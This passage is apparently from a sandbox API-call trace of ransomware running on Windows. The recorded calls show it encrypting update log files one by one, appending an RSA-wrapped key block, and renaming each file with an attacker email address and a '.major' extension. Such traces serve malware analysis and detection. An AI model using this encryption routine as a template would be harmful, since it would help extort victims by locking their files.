Flags=0x0, Size=0xc0) returned 0x5d07f0 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0153.003] GetLastError () returned 0x0 [0153.003] SetLastError (dwErrCode=0x0) [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6537a8 [0153.003] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0153.003] GetLastError () returned 0x0 [0153.003] SetLastError (dwErrCode=0x0) [0153.003] GetLastError () returned 0x0 [0153.003] SetLastError (dwErrCode=0x0) [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1fa8 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0153.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0153.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1fa8 | out: hHeap=0x570000) returned 1 [0153.003] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0153.004] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0153.004] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1c78 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1c78 | out: hHeap=0x570000) returned 1 [0153.004] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653088 [0153.004] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0153.004] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] GetLastError () returned 0x0 [0153.004] SetLastError (dwErrCode=0x0) [0153.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d20b8 [0153.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0153.005] GetLastError () returned 0x0 [0153.005] SetLastError (dwErrCode=0x0) [0153.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0153.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0153.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0153.005] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0153.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d20b8 | out: hHeap=0x570000) returned 1 [0153.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0153.005] GetLastError () returned 0x0 [0153.005] SetLastError (dwErrCode=0x0) [0153.005] GetLastError () returned 0x0 [0153.005] SetLastError (dwErrCode=0x0) [0153.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2608 [0153.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0153.005] GetLastError () returned 0x0 [0153.005] SetLastError (dwErrCode=0x0) [0153.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0153.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0153.005] FindNextFileW (in: hFindFile=0x631500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 0 [0153.005] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.005] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl", dwFileAttributes=0x80) returned 1 [0153.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0153.007] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.008] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.008] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.025] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.025] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.025] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.025] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.025] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.026] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.026] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Erfx89o25K7A+uPt8jLruq16XhV3w4QSD/3iyX3NQC6/vLGl4t/MRWov8QJL6ODT\nWKxqfIvHJQTzfPH6u3oXpVXTMve67v8GDcEMTUtHDlJAUEtTwjXFFEKrVGpKVUlX\nShG95WWkennloFJ1luHQ49nRi9XLuMAwOwj8W1ANgcJEc+30FYGzep7p54o/Z5i9\nOROBoB6IgpvDbQ8lKfhzwbllsWd0KIoLs363CMhrqivgw0evGWSjaLgejlLg8pNh\nIlwzulOTAK3nJzRTMrhhlAnGz3jgzbHRdd71qFNcufrVdwczV8ML+UI1P+r2kOTI\nv7boiYVl8W+gst4uEceCeQ==\n", pcchString=0x2e3f9a8) returned 1 [0153.026] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.026] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.026] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.026] CloseHandle (hObject=0x694) returned 1 [0153.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.027] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0153.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0153.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.029] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.029] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl", dwFileAttributes=0x80) returned 1 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0153.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0153.029] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.029] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.029] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.076] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.076] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.076] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.076] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="VyRqP7d+VO3nMJycs0sY2wuGFK1lYEeqF56Lkr6Thz60RQ9dATk57eElG3IiHI9S\nsMUmGad+m+Cud7y3M6QluPQSciCYDxwVpS922OyD3xSZph0WdW9Wr+zY5C/8b7U0\n1cJIffOT553UUlWAoko6Dnup0TqgempE8H8V6AxS/wm1GVu4vKUBc3iMOX7Jxdjy\nj6gk52lBa6ubAPEq1QM3LtDpdZlmwY1H9V44e8QkXWTFfb+5xIcDJPlS9t1v/PZY\nndbKoT1xMfcDOscG9qW9X8kE/Gx/jPoV46wDc2Sn3TmB9ZiBl/s5vPsEUOkUGCIg\ncSOCjggtm09Ehz09TIVldg==\n", pcchString=0x2e3f9a8) returned 1 [0153.077] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.077] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.077] CloseHandle (hObject=0x694) returned 1 [0153.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.077] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0153.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0153.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0153.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0153.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.079] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.079] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl", dwFileAttributes=0x80) returned 1 [0153.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653418 [0153.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653418 | out: hHeap=0x570000) returned 1 [0153.080] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.080] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.080] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.081] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.081] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.082] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.082] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.082] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.082] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.082] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.082] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.083] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hGZ9XmSqTOrYcbDxCR3nw0ZmRrW1GI3UBjZYe3u/DLEiEUawe9hL8vWinGpdG2QE\n+ES8hs+UMP+H+9vRWZC8AKi8Oy1SsHji1m2sjh/JfEYRCcrlvJpyK/AShlmcBMhI\nVw/pT11Pwue94aWO7RhZRXSelWBRsii8Yg4WYVR0S0/9yEs+2xMDInapJBwa6o3X\nk1GKrrOw/qXsQ1C+wxo8qdfGEnApMwNWMVnTPq8jsY2/FaB+bd0biBRSc9SBUuBY\nUJTelNBV/QwnoU3yqn7CguzA1xz8+KQEePTssP7NhXc5EJZZJ27kSct6ZgG6OYkb\nUfYRVYKw5v1VJX5mCBvfGA==\n", pcchString=0x2e3f9a8) returned 1 [0153.083] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.083] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.083] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.083] CloseHandle (hObject=0x694) returned 1 [0153.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.083] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0153.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653088 | out: hHeap=0x570000) returned 1 [0153.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653088 [0153.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.093] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.093] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl", dwFileAttributes=0x80) returned 1 [0153.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0153.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fd30 [0153.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0153.093] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 